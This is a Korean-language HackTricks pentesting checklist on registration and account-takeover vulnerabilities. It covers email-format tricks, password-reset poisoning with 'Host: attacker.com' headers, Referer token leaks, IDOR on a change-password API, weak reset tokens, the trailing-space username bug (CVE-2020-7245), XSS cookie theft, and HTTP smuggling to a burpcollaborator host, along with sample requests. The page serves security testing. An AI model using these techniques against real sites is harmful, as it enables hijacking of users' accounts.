Registration & Takeover Vulnerabilities
Last updated
Last updated
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
기존 사용자 이름을 사용하여 생성해 보세요.
이메일을 다양하게 변경해 보세요:
대문자
+1@
이메일에 점 추가
이메일 이름에 특수 문자 (%00, %09, %20)
이메일 뒤에 검은 문자 추가: test@test.com a
victim@gmail.com@attacker.com
victim@attacker.com@gmail.com
애플리케이션 내에서 사용자 이름이 이미 등록되었는지 확인해 보세요.
사용자를 생성할 때 비밀번호 정책을 확인하세요 (약한 비밀번호를 사용할 수 있는지 확인). 이 경우 자격 증명을 무차별 대입해 볼 수 있습니다.
이 페이지를 확인하세요 계정 인수 또는 SQL 인젝션을 통해 정보를 추출하는 방법을 배우세요.
등록 후 이메일을 변경해 보고 이 변경이 올바르게 검증되는지 또는 임의의 이메일로 변경할 수 있는지 확인하세요.
일회용 이메일 사용 가능 여부 확인
긴 비밀번호 (>200)는 DoS로 이어짐
계정 생성에 대한 비율 제한 확인
username@burp_collab.net을 사용하고 콜백을 분석하세요.
비밀번호 재설정을 위해 이메일 주소로 요청하세요.
비밀번호 재설정 링크를 클릭하세요.
비밀번호를 변경하지 마세요.
3자 웹사이트(예: Facebook, Twitter)를 클릭하세요.
Burp Suite 프록시에서 요청을 가로채세요.
referer 헤더가 비밀번호 재설정 토큰을 유출하는지 확인하세요.
Burp Suite에서 비밀번호 재설정 요청을 가로채세요.
Burp Suite에서 다음 헤더를 추가하거나 수정하세요: Host: attacker.com
, X-Forwarded-Host: attacker.com
수정된 헤더로 요청을 전달하세요.
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
_host 헤더_를 기반으로 한 비밀번호 재설정 URL을 찾으세요: https://attacker.com/reset-password.php?token=TOKEN
공격자는 자신의 계정으로 로그인하고 비밀번호 변경 기능으로 이동해야 합니다.
Burp Suite를 시작하고 요청을 가로챕니다.
반복기 탭으로 보내고 매개변수를 편집합니다: 사용자 ID/이메일
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
비밀번호 재설정 토큰은 매번 무작위로 생성되고 고유해야 합니다. 토큰이 만료되는지 또는 항상 동일한지 확인하십시오. 경우에 따라 생성 알고리즘이 약하고 추측할 수 있습니다. 다음 변수들이 알고리즘에 사용될 수 있습니다.
타임스탬프
사용자 ID
사용자 이메일
이름과 성
생년월일
암호화
숫자만
작은 토큰 시퀀스 (문자 [A-Z,a-z,0-9] 사이)
토큰 재사용
토큰 만료 날짜
특정 이메일을 사용하여 API/UI를 통해 비밀번호 재설정 요청을 트리거합니다. 예: test@mail.com
서버 응답을 검사하고 resetToken
을 확인합니다.
그런 다음 URL에서 토큰을 사용합니다: https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
피해자의 사용자 이름과 동일한 사용자 이름으로 시스템에 등록하되, 사용자 이름 앞뒤에 공백을 삽입합니다. 예: "admin "
악의적인 사용자 이름으로 비밀번호 재설정을 요청합니다.
이메일로 전송된 토큰을 사용하여 피해자의 비밀번호를 재설정합니다.
새 비밀번호로 피해자 계정에 연결합니다.
플랫폼 CTFd는 이 공격에 취약했습니다. 참조: CVE-2020-7245
애플리케이션 내에서 XSS를 찾거나 쿠키가 부모 도메인에 범위가 지정된 경우 서브도메인에서 찾습니다: *.domain.com
현재 세션 쿠키를 유출합니다.
쿠키를 사용하여 사용자로 인증합니다.
1. smuggler를 사용하여 HTTP 요청 밀반입 유형을 감지합니다 (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. 다음 데이터를 사용하여 POST / HTTP/1.1
를 덮어쓸 요청을 작성합니다:
GET http://something.burpcollaborator.net HTTP/1.1 X:
피해자를 burpcollab로 리디렉션하고 쿠키를 훔치는 것이 목표입니다.
3. 최종 요청은 다음과 같을 수 있습니다.
Hackerone 보고서에서 이 버그를 악용한 사례 * https://hackerone.com/reports/737140 * https://hackerone.com/reports/771666
CSRF를 위한 페이로드 생성, 예: “비밀번호 변경을 위한 자동 제출 HTML 양식”
페이로드 전송
JSON 웹 토큰은 사용자를 인증하는 데 사용될 수 있습니다.
다른 사용자 ID / 이메일로 JWT 수정
약한 JWT 서명 확인
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)